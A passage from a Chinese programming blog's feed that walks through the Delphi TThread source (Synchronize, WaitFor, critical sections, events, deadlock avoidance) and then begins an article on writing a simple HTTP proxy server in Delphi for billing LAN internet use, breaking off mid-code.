Thread.Free;<BR>EndThread(Result);<BR>end;<BR>end;<BR><BR>虽然也没有多少代码，但却是整个TThread中最重要的部分，因为这段代码是真正在线程中执行的代码。下面对代码作逐行说明：<BR>首先判断线程类的Terminated标志，如果未被标志为终止，则调用线程类的Execute方法执行线程代码，因为TThread是抽象类，Execute方法是抽象方法，所以本质上是执行派生类中的Execute代码。<BR>所以说，Execute就是线程类中的线程函数，所有在Execute中的代码都需要当作线程代码来考虑，如防止访问冲突等。<BR>如果Execute发生异常，则通过AcquireExceptionObject取得异常对象，并存入线程类的FFatalException成员中。<BR>最后是线程结束前做的一些收尾工作。局部变量FreeThread记录了线程类的FreeOnTerminated属性的设置，然后将线程返回值设置为线程类的返回值属性的值。然后执行线程类的DoTerminate方法。<BR>DoTerminate方法的代码如下：<BR><BR>procedure TThread.DoTerminate;<BR>begin<BR>if Assigned(FOnTerminate) then Synchronize(CallOnTerminate);<BR>end;<BR><BR>很简单，就是通过Synchronize来调用CallOnTerminate方法，而CallOnTerminate方法的代码如下，就是简单地调用OnTerminate事件：<BR><BR>procedure TThread.CallOnTerminate;<BR>begin<BR>if Assigned(FOnTerminate) then FOnTerminate(Self);<BR>end;<BR><BR>因为OnTerminate事件是在Synchronize中执行的，所以本质上它并不是线程代码，而是主线程代码（具体见后面对Synchronize的分析）。<BR>执行完OnTerminate后，将线程类的FFinished标志设置为True。<BR>接下来执行SignalSyncEvent过程，其代码如下：<BR><BR>procedure SignalSyncEvent;<BR>begin<BR>SetEvent(SyncEvent);<BR>end;<BR><BR>也很简单，就是设置一下一个全局Event：SyncEvent，关于Event的使用，本文将在后文详述，而SyncEvent的用途将在WaitFor过程中说明。<BR>然后根据FreeThread中保存的FreeOnTerminate设置决定是否释放线程类，在线程类释放时，还有一些些操作，详见接下来的析构函数实现。<BR>最后调用EndThread结束线程，返回线程返回值。<BR>至此，线程完全结束。<BR>说完构造函数，再来看析构函数：<BR><BR>destructor TThread.Destroy;<BR>begin<BR>if (FThreadID &lt;&gt; 0) and not FFinished then<BR>begin<BR>Terminate;<BR>if FCreateSuspended then<BR>Resume;<BR>WaitFor;<BR>end;<BR>if FHandle &lt;&gt; 0 then CloseHandle(FHandle);<BR>inherited Destroy;<BR>FFatalException.Free;<BR>RemoveThread;<BR>end;<BR><BR>在线程对象被释放前，首先要检查线程是否还在执行中，如果线程还在执行中（线程ID不为0，并且线程结束标志未设置），则调用Terminate过程结束线程。Terminate过程只是简单地设置线程类的Terminated标志，如下面的代码：<BR><BR>procedure TThread.Terminate;<BR>begin<BR>FTerminated := True;<BR>end;<BR><BR>所以线程仍然必须继续执行到正常结束后才行，而不是立即终止线程，这一点要注意。<BR>在这里说一点题外话：很多人都问过我，如何才能“立即”终止线程（当然是指用TThread创建的线程）。结果当然是不行！终止线程的唯一办法就是让Execute方法执行完毕，所以一般来说，要让你的线程能够尽快终止，必须在Execute方法中在较短的时间内不断地检查Terminated标志，以便能及时地退出。这是设计线程代码的一个很重要的原则！<BR>当然如果你一定要能“立即”退出线程，那么TThread类不是一个好的选择，因为如果用API强制终止线程的话，最终会导致TThread线程对象不能被正确释放，在对象析构时出现Access Violation。这种情况你只能用API或RTL函数来创建线程。<BR>如果线程处于启动挂起状态，则将线程转入运行状态，然后调用WaitFor进行等待，其功能就是等待到线程结束后才继续向下执行。关于WaitFor的实现，将放到后面说明。<BR>线程结束后，关闭线程Handle（正常线程创建的情况下Handle都是存在的），释放操作系统创建的线程对象。<BR>然后调用TObject.Destroy释放本对象，并释放已经捕获的异常对象，最后调用RemoveThread减小进程的线程数。<BR>其它关于Suspend/Resume及线程优先级设置等方面，不是本文的重点，不再赘述。下面要讨论的是本文的另两个重点：Synchronize和WaitFor。<BR>但是在介绍这两个函数之前，需要先介绍另外两个线程同步技术：事件和临界区。<BR>事件（Event）与Delphi中的事件有所不同。从本质上说，Event其实相当于一个全局的布尔变量。它有两个赋值操作：Set和Reset，相当于把它设置为True或False。而检查它的值是通过WaitFor操作进行。对应在Windows平台上，是三个API函数：SetEvent、ResetEvent、WaitForSingleObject（实现WaitFor功能的API还有几个，这是最简单的一个）。<BR>这三个都是原语，所以Event可以实现一般布尔变量不能实现的在多线程中的应用。Set和Reset的功能前面已经说过了，现在来说一下WaitFor的功能：<BR>WaitFor的功能是检查Event的状态是否是Set状态（相当于True），如果是则立即返回，如果不是，则等待它变为Set状态，在等待期间，调用WaitFor的线程处于挂起状态。另外WaitFor有一个参数用于超时设置，如果此参数为0，则不等待，立即返回Event的状态，如果是INFINITE则无限等待，直到Set状态发生，若是一个有限的数值，则等待相应的毫秒数后返回Event的状态。<BR>当Event从Reset状态向Set状态转换时，唤醒其它由于WaitFor这个Event而挂起的线程，这就是它为什么叫Event的原因。所谓“事件”就是指“状态的转换”。通过Event可以在线程间传递这种“状态转换”信息。<BR>当然用一个受保护（见下面的临界区介绍）的布尔变量也能实现类似的功能，只要用一个循环检查此布尔值的代码来代替WaitFor即可。从功能上说完全没有问题，但实际使用中就会发现，这样的等待会占用大量的CPU资源，降低系统性能，影响到别的线程的执行速度，所以是不经济的，有的时候甚至可能会有问题。所以不建议这样用。<BR>临界区（CriticalSection）则是一项共享数据访问保护的技术。它其实也是相当于一个全局的布尔变量。但对它的操作有所不同，它只有两个操作：Enter和Leave，同样可以把它的两个状态当作True和False，分别表示现在是否处于临界区中。这两个操作也是原语，所以它可以用于在多线程应用中保护共享数据，防止访问冲突。<BR>用临界区保护共享数据的方法很简单：在每次要访问共享数据之前调用Enter设置进入临界区标志，然后再操作数据，最后调用Leave离开临界区。它的保护原理是这样的：当一个线程进入临界区后，如果此时另一个线程也要访问这个数据，则它会在调用Enter时，发现已经有线程进入临界区，然后此线程就会被挂起，等待当前在临界区的线程调用Leave离开临界区，当另一个线程完成操作，调用Leave离开后，此线程就会被唤醒，并设置临界区标志，开始操作数据，这样就防止了访问冲突。<BR>以前面那个InterlockedIncrement为例，我们用CriticalSection（Windows API）来实现它：<BR><BR>Var<BR>InterlockedCrit : TRTLCriticalSection;<BR>Procedure InterlockedIncrement( var aValue : Integer );<BR>Begin<BR>EnterCriticalSection( InterlockedCrit );<BR>Inc( aValue );<BR>LeaveCriticalSection( InterlockedCrit );<BR>End;<BR><BR>现在再来看前面那个例子：<BR>1.线程A进入临界区（假设数据为3）<BR>2.线程B进入临界区，因为A已经在临界区中，所以B被挂起<BR>3.线程A对数据加一（现在是4）<BR>4.线程A离开临界区，唤醒线程B（现在内存中的数据是4）<BR>5.线程B被唤醒，对数据加一（现在就是5了）<BR>6.线程B离开临界区，现在的数据就是正确的了。<BR>临界区就是这样保护共享数据的访问。<BR>关于临界区的使用，有一点要注意：即数据访问时的异常情况处理。因为如果在数据操作时发生异常，将导致Leave操作没有被执行，结果将使本应被唤醒的线程未被唤醒，可能造成程序的没有响应。所以一般来说，如下面这样使用临界区才是正确的做法：<BR><BR>EnterCriticalSection<BR>Try<BR>// 操作临界区数据<BR>Finally<BR>LeaveCriticalSection<BR>End;<BR><BR>最后要说明的是，Event和CriticalSection都是操作系统资源，使用前都需要创建，使用完后也同样需要释放。如TThread类用到的一个全局Event：SyncEvent和全局CriticalSection：TheadLock，都是在InitThreadSynchronization和DoneThreadSynchronization中进行创建和释放的，而它们则是在Classes单元的Initialization和Finalization中被调用的。<BR>由于在TThread中都是用API来操作Event和CriticalSection的，所以前面都是以API为例，其实Delphi已经提供了对它们的封装，在SyncObjs单元中，分别是TEvent类和TCriticalSection类。用法也与前面用API的方法相差无几。因为TEvent的构造函数参数过多，为了简单起见，Delphi还提供了一个用默认参数初始化的Event类：TSimpleEvent。<BR>顺便再介绍一下另一个用于线程同步的类：TMultiReadExclusiveWriteSynchronizer，它是在SysUtils单元中定义的。据我所知，这是Delphi RTL中定义的最长的一个类名，还好它有一个短的别名：TMREWSync。至于它的用处，我想光看名字就可以知道了，我也就不多说了。<BR>有了前面对Event和CriticalSection的准备知识，可以正式开始讨论Synchronize和WaitFor了。<BR>我们知道，Synchronize是通过将部分代码放到主线程中执行来实现线程同步的，因为在一个进程中，只有一个主线程。先来看看Synchronize的实现：<BR><BR>procedure TThread.Synchronize(Method: TThreadMethod);<BR>begin<BR>FSynchronize.FThread := Self;<BR>FSynchronize.FSynchronizeException := nil;<BR>FSynchronize.FMethod := Method;<BR>Synchronize(@FSynchronize);<BR>end;<BR><BR>其中FSynchronize是一个记录类型：<BR>PSynchronizeRecord = ^TSynchronizeRecord;<BR>TSynchronizeRecord = record<BR>FThread: TObject;<BR>FMethod: TThreadMethod;<BR>FSynchronizeException: TObject;<BR>end;<BR><BR>用于进行线程和主线程之间进行数据交换，包括传入线程类对象，同步方法及发生的异常。<BR>在Synchronize中调用了它的一个重载版本，而且这个重载版本比较特别，它是一个“类方法”。所谓类方法，是一种特殊的类成员方法，它的调用并不需要创建类实例，而是像构造函数那样，通过类名调用。之所以会用类方法来实现它，是因为为了可以在线程对象没有创建时也能调用它。不过实际中是用它的另一个重载版本（也是类方法）和另一个类方法StaticSynchronize。下面是这个Synchronize的代码：<BR><BR>class procedure TThread.Synchronize(ASyncRec: PSynchronizeRecord);<BR>var<BR>SyncProc: TSyncProc;<BR>begin<BR>if GetCurrentThreadID = MainThreadID then<BR>ASyncRec.FMethod<BR>else<BR>begin<BR>SyncProc.Signal := CreateEvent(nil, True, False, nil);<BR>try<BR>EnterCriticalSection(ThreadLock);<BR>try<BR>if SyncList = nil then<BR>SyncList := TList.Create;<BR>SyncProc.SyncRec := ASyncRec;<BR>SyncList.Add(@SyncProc);<BR>SignalSyncEvent;<BR>if Assigned(WakeMainThread) then<BR>WakeMainThread(SyncProc.SyncRec.FThread);<BR>LeaveCriticalSection(ThreadLock);<BR>try<BR>WaitForSingleObject(SyncProc.Signal, INFINITE);<BR>finally<BR>EnterCriticalSection(ThreadLock);<BR>end;<BR>finally<BR>LeaveCriticalSection(ThreadLock);<BR>end;<BR>finally<BR>CloseHandle(SyncProc.Signal);<BR>end;<BR>if Assigned(ASyncRec.FSynchronizeException) then raise ASyncRec.FSynchronizeException;<BR>end;<BR>end;<BR><BR>这段代码略多一些，不过也不算太复杂。<BR>首先是判断当前线程是否是主线程，如果是，则简单地执行同步方法后返回。<BR>如果不是主线程，则准备开始同步过程。<BR>通过局部变量SyncProc记录线程交换数据（参数）和一个Event Handle，其记录结构如下：<BR><BR>TSyncProc = record<BR>SyncRec: PSynchronizeRecord;<BR>Signal: THandle;<BR>end;<BR><BR>然后创建一个Event，接着进入临界区（通过全局变量ThreadLock进行，因为同时只能有一个线程进入Synchronize状态，所以可以用全局变量记录），然后就是把这个记录数据存入SyncList这个列表中（如果这个列表不存在的话，则创建它）。可见ThreadLock这个临界区就是为了保护对SyncList的访问，这一点在后面介绍CheckSynchronize时会再次看到。<BR>再接下就是调用SignalSyncEvent，其代码在前面介绍TThread的构造函数时已经介绍过了，它的功能就是简单地将SyncEvent作一个Set的操作。关于这个SyncEvent的用途，将在后面介绍WaitFor时再详述。<BR>接下来就是最主要的部分了：调用WakeMainThread事件进行同步操作。WakeMainThread是一个TNotifyEvent类型的全局事件。这里之所以要用事件进行处理，是因为Synchronize方法本质上是通过消息，将需要同步的过程放到主线程中执行，如果在一些没有消息循环的应用中（如Console或DLL）是无法使用的，所以要使用这个事件进行处理。<BR>而响应这个事件的是Application对象，下面两个方法分别用于设置和清空WakeMainThread事件的响应（来自Forms单元）：<BR><BR>procedure TApplication.HookSynchronizeWakeup;<BR>begin<BR>Classes.WakeMainThread := WakeMainThread;<BR>end;<BR><BR>procedure TApplication.UnhookSynchronizeWakeup;<BR>begin<BR>Classes.WakeMainThread := nil;<BR>end;<BR><BR>上面两个方法分别是在TApplication类的构造函数和析构函数中被调用。<BR>这就是在Application对象中WakeMainThread事件响应的代码，消息就是在这里被发出的，它利用了一个空消息来实现：<BR><BR>procedure TApplication.WakeMainThread(Sender: TObject);<BR>begin<BR>PostMessage(Handle, WM_NULL, 0, 0);<BR>end;<BR><BR>而这个消息的响应也是在Application对象中，见下面的代码（删除无关的部分）：<BR>procedure TApplication.WndProc(var Message: TMessage);<BR>…<BR>begin<BR>try<BR>…<BR>with Message do<BR>case Msg of<BR>…<BR>WM_NULL:<BR>CheckSynchronize;<BR>…<BR>except<BR>HandleException(Self);<BR>end;<BR>end;<BR>其中的CheckSynchronize也是定义在Classes单元中的，由于它比较复杂，暂时不详细说明，只要知道它是具体处理Synchronize功能的部分就好，现在继续分析Synchronize的代码。<BR>在执行完WakeMainThread事件后，就退出临界区，然后调用WaitForSingleObject开始等待在进入临界区前创建的那个Event。这个Event的功能是等待这个同步方法的执行结束，关于这点，在后面分析CheckSynchronize时会再说明。<BR>注意在WaitForSingleObject之后又重新进入临界区，但没有做任何事就退出了，似乎没有意义，但这是必须的！<BR>因为临界区的Enter和Leave必须严格的一一对应。那么是否可以改成这样呢：<BR><BR>if Assigned(WakeMainThread) then<BR>WakeMainThread(SyncProc.SyncRec.FThread);<BR>WaitForSingleObject(SyncProc.Signal, INFINITE);<BR>finally<BR>LeaveCriticalSection(ThreadLock);<BR>end;<BR><BR>上面的代码和原来的代码最大的区别在于把WaitForSingleObject也纳入临界区的限制中了。看上去没什么影响，还使代码大大简化了，但真的可以吗？<BR>事实上是不行！<BR>因为我们知道，在Enter临界区后，如果别的线程要再进入，则会被挂起。而WaitFor方法则会挂起当前线程，直到等待别的线程SetEvent后才会被唤醒。如果改成上面那样的代码的话，如果那个SetEvent的线程也需要进入临界区的话，死锁（Deadlock）就发生了（关于死锁的理论，请自行参考操作系统原理方面的资料）。<BR>死锁是线程同步中最需要注意的方面之一！<BR>最后释放开始时创建的Event，如果被同步的方法返回异常的话，还会在这里再次抛出异常。<BR>回到前面CheckSynchronize，见下面的代码：<BR><BR>function CheckSynchronize(Timeout: Integer = 0): Boolean;<BR>var<BR>SyncProc: PSyncProc;<BR>LocalSyncList: TList;<BR>begin<BR>if GetCurrentThreadID &lt;&gt; MainThreadID then<BR>raise EThread.CreateResFmt(@SCheckSynchronizeError, [GetCurrentThreadID]);<BR>if Timeout &gt; 0 then<BR>WaitForSyncEvent(Timeout)<BR>else<BR>ResetSyncEvent;<BR>LocalSyncList := nil;<BR>EnterCriticalSection(ThreadLock);<BR>try<BR>Integer(LocalSyncList) := InterlockedExchange(Integer(SyncList), Integer(LocalSyncList));<BR>try<BR>Result := (LocalSyncList &lt;&gt; nil) and (LocalSyncList.Count &gt; 0);<BR>if Result then<BR>begin<BR>while LocalSyncList.Count &gt; 0 do<BR>begin<BR>SyncProc := LocalSyncList[0];<BR>LocalSyncList.Delete(0);<BR>LeaveCriticalSection(ThreadLock);<BR>try<BR>try<BR>SyncProc.SyncRec.FMethod;<BR>except<BR>SyncProc.SyncRec.FSynchronizeException := AcquireExceptionObject;<BR>end;<BR>finally<BR>EnterCriticalSection(ThreadLock);<BR>end;<BR>SetEvent(SyncProc.signal);<BR>end;<BR>end;<BR>finally<BR>LocalSyncList.Free;<BR>end;<BR>finally<BR>LeaveCriticalSection(ThreadLock);<BR>end;<BR>end;<BR><BR>首先，这个方法必须在主线程中被调用（如前面通过消息传递到主线程），否则就抛出异常。<BR>接下来调用ResetSyncEvent（它与前面SetSyncEvent对应的，之所以不考虑WaitForSyncEvent的情况，是因为只有在Linux版下才会调用带参数的CheckSynchronize，Windows版下都是调用默认参数0的CheckSynchronize）。<BR>现在可以看出SyncList的用途了：它是用于记录所有未被执行的同步方法的。因为主线程只有一个，而子线程可能有很多个，当多个子线程同时调用同步方法时，主线程可能一时无法处理，所以需要一个列表来记录它们。<BR>在这里用一个局部变量LocalSyncList来交换SyncList，这里用的也是一个原语：InterlockedExchange。同样，这里也是用临界区将对SyncList的访问保护起来。<BR>只要LocalSyncList不为空，则通过一个循环来依次处理累积的所有同步方法调用。最后把处理完的LocalSyncList释放掉，退出临界区。<BR>再来看对同步方法的处理：首先是从列表中移出（取出并从列表中删除）第一个同步方法调用数据。然后退出临界区（原因当然也是为了防止死锁）。<BR>接着就是真正的调用同步方法了。<BR>如果同步方法中出现异常，将被捕获后存入同步方法数据记录中。<BR>重新进入临界区后，调用SetEvent通知调用线程，同步方法执行完成了（详见前面Synchronize中的WaitForSingleObject调用）。<BR>至此，整个Synchronize的实现介绍完成。<BR>最后来说一下WaitFor，它的功能就是等待线程执行结束。其代码如下：<BR><BR>function TThread.WaitFor: LongWord;<BR>var<BR>H: array[0..1] of THandle;<BR>WaitResult: Cardinal;<BR>Msg: TMsg;<BR>begin<BR>H[0] := FHandle;<BR>if GetCurrentThreadID = MainThreadID then<BR>begin<BR>WaitResult := 0;<BR>H[1] := SyncEvent;<BR>repeat<BR>{ This prevents a potential deadlock if the background thread<BR>does a SendMessage to the foreground thread }<BR>if WaitResult = WAIT_OBJECT_0 + 2 then<BR>PeekMessage(Msg, 0, 0, 0, PM_NOREMOVE);<BR>WaitResult := MsgWaitForMultipleObjects(2, H, False, 1000, QS_SENDMESSAGE);<BR>CheckThreadError(WaitResult &lt;&gt; WAIT_FAILED);<BR>if WaitResult = WAIT_OBJECT_0 + 1 then<BR>CheckSynchronize;<BR>until WaitResult = WAIT_OBJECT_0;<BR>end else WaitForSingleObject(H[0], INFINITE);<BR>CheckThreadError(GetExitCodeThread(H[0], Result));<BR>end;<BR><BR>如果不是在主线程中执行WaitFor的话，很简单，只要调用WaitForSingleObject等待此线程的Handle为Signaled状态即可。<BR>如果是在主线程中执行WaitFor则比较麻烦。首先要在Handle数组中增加一个SyncEvent，然后循环等待，直到线程结束（即MsgWaitForMultipleObjects返回WAIT_OBJECT_0，详见MSDN中关于此API的说明）。<BR>在循环等待中作如下处理：如果有消息发生，则通过PeekMessage取出此消息（但并不把它从消息循环中移除），然后调用MsgWaitForMultipleObjects来等待线程Handle或SyncEvent出现Signaled状态，同时监听消息（QS_SENDMESSAGE参数，详见MSDN中关于此API的说明）。可以把此API当作一个可以同时等待多个Handle的WaitForSingleObject。如果是SyncEvent被SetEvent（返回WAIT_OBJECT_0 + 1），则调用CheckSynchronize处理同步方法。<BR>为什么在主线程中调用WaitFor必须用MsgWaitForMultipleObjects，而不能用WaitForSingleObject等待线程结束呢？因为防止死锁。由于在线程函数Execute中可能调用Synchronize处理同步方法，而同步方法是在主线程中执行的，如果用WaitForSingleObject等待的话，则主线程在这里被挂起，同步方法无法执行，导致线程也被挂起，于是发生死锁。<BR>而改用WaitForMultipleObjects则没有这个问题。首先，它的第三个参数为False，表示只要线程Handle或SyncEvent中只要有一个Signaled即可使主线程被唤醒，至于加上QS_SENDMESSAGE是因为Synchronize是通过消息传到主线程来的，所以还要防止消息被阻塞。这样，当线程中调用Synchronize时，主线程就会被唤醒并处理同步调用，在调用完成后继续进入挂起等待状态，直到线程结束。<BR>至此，对线程类TThread的分析可以告一个段落了，对前面的分析作一个总结：<BR>1、线程类的线程必须按正常的方式结束，即Execute执行结束，所以在其中的代码中必须在适当的地方加入足够多的对Terminated标志的判断，并及时退出。如果必须要“立即”退出，则不能使用线程类，而要改用API或RTL函数。<BR>2、对可视VCL的访问要放在Synchronize中，通过消息传递到主线程中，由主线程处理。<BR>3、线程共享数据的访问应该用临界区进行保护（当然用Synchronize也行）。<BR>4、线程通信可以采用Event进行（当然也可以用Suspend/Resume）。<BR>5、当在多线程应用中使用多种线程同步方式时，一定要小心防止出现死锁。<BR>6、等待线程结束要用WaitFor方法。</P>
<P>摘：<A href="http://www.daima.com.cn/Info/106/Info35363/">http://www.daima.com.cn/Info/106/Info35363/</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=32" /> 
	  <id>http://www.openx.cn/default.asp?id=32</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用Delphi设计代理服务器]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-16T19:07:49+08:00</updated>
	  <published>2005-09-16T19:07:49+08:00</published>
		  <summary type="html"><![CDATA[<P>&nbsp;&nbsp;&nbsp; 笔者在编写一个上网计费软件时，涉及到如何对局域网中各工作站上网计费问题。一般来讲，这些工作站通过代理服务器上网，而采用现成的代理服务器软件时，由于代理服务器软件是封闭的系统，很难编写程序获取实时的上网计时信息。因此，考虑是否能编写自己的代理服务器，一方面解决群体上网，另一方面又解决上网的计费问题呢？<BR>&nbsp;&nbsp;&nbsp; 经过实验性编程，终于圆满地解决了该问题。现写出来，与各位同行分享。</P>
<P>1、 思路<BR>当前流行的浏览器的系统选项中有一个参数，即“通过代理服务器连接”，经过编程测<BR>试，当局域网中一台工作站指定了该属性，再发出Internet请求时，请求数据将发送到所指定的代理服务器上，以下为请求数据包示例：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GET <A href="http://home.microsoft.com/intl/cn/">http://home.microsoft.com/intl/cn/</A> HTTP/1.0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Accept: */*<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Accept-Language: zh-cn<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Accept-Encoding: gzip, deflate<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Host: home.microsoft.com<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proxy-Connection: Keep-Alive<BR>其中第一行为目标URL及相关方法、协议，“Host”行指定了目标主机的地址。<BR>由此知道了代理服务的过程：接收被代理端的请求、连接真正的主机、接收主机返回的数据、将接收数据发送到被代理端。<BR>为此可编写一个简单的程序，完成上述网络通信重定向问题。<BR>用Delphi设计时，选用ServerSocket作为与被代理工作站通信的套接字控件，选用ClientSocket动态数组作为与远程主机通信的套接字控件。<BR>编程时应解决的一个重要问题是多重连接处理问题，为了加快代理服务的速度和被代理端的响应速度，套接字控件的属性应设为非阻塞型；各通信会话与套接字动态绑定，用套接字的SocketHandle属性值确定属于哪一个会话。<BR>通信的衔接过程如下图所示：</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 代理服务器<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Serversocket<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 接&nbsp; 收<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 被代理端&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 发&nbsp; 送&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 远程主机<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (6)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (5)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Browser&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ClientSocket&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Web Server<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 接&nbsp; 收<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 发&nbsp; 送&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (3)</P>
<P><BR>（1）、被代理端浏览器发出Web请求，代理服务器的Serversocket接收到请求。<BR>（2）、代理服务器程序自动创建一个ClientSocket，并设置主机地址、端口等属性，然后连接远程主机。<BR>（3）、远程连通后激发发送事件，将Serversocket接收到的Web请求数据包发送到远程主机。<BR>（4）、当远程主机返回页面数据时，激发ClientSocket的读事件，读取页面数据。<BR>（5）、代理服务器程序根据绑定信息确定属于ServerSocket控件中的哪一个Socket应该将从主机接收的页面信息发送到被代理端。<BR>（6）、ServerSocket中的对应Socket将页面数据发送到被代理端。</P>
<P>2、 程序编写<BR>使用Delphi设计以上通信过程非常简单，主要是ServerSocket、ClientSocket的相关事<BR>件驱动程序的程序编写。下面给出作者编写的实验用代理服务器界面与源程序清单，内含简要功能说明：</P>
<P>unit main;</P>
<P>interface</P>
<P>uses<BR>&nbsp; Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<BR>&nbsp; ExtCtrls, ScktComp, TrayIcon, Menus, StdCtrls;</P>
<P>type<BR>&nbsp;&nbsp; session_record=record<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Used: boolean;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {会话记录是否可用}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SS_Handle: integer;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {代理服务器套接字句柄}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CSocket: TClientSocket;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {用于连接远程的套接字}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lookingup: boolean;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 